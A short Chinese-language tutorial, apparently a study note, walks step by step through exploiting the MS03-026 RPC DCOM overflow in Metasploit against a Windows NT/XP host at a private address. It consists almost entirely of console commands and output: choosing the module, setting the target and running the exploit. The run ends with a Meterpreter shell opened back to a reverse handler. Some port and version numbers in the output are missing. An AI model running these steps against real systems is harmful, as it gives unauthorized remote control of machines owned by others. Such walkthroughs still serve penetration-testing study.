metasploit学习之ms03_026

傻瓜式利用ms03_026_dcom:

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/telnet/telnet_ruggedcom normal RuggedCom Telnet Password Generator
exploit/windows/dcerpc/ms03_026_dcom -- great MS03- Microsoft RPC DCOM Interface Overflow
exploit/windows/smb/ms04_031_netdde -- good MS04- Microsoft NetDDE Service Overflow
exploit/windows/smb/psexec_psh -- manual Microsoft Windows Authenticated Powershell Command Execution

msf > use exploit/windows/dcerpc/ms03_026_dcom //设置漏洞代码
msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT  yes The target port

Exploit target:

Id Name
-- ----
 Windows NT SP3-6a//XP/ Universal

msf exploit(ms03_026_dcom) > set RHOST 10.0.0.5
RHOST => 10.0.0.5
msf exploit(ms03_026_dcom) > exploit

[*] Started reverse handler on 10.0.0.100:
[*] Trying target Windows NT SP3-6a//XP/ Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:10.0.0.5[] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:10.0.0.5[] ...
[*] Sending exploit ...
[*] Sending stage ( bytes) to 10.0.0.5
[*] Meterpreter session  opened (10.0.0.100: -> 10.0.0.5:) at -- :: +

meterpreter >       //成功了！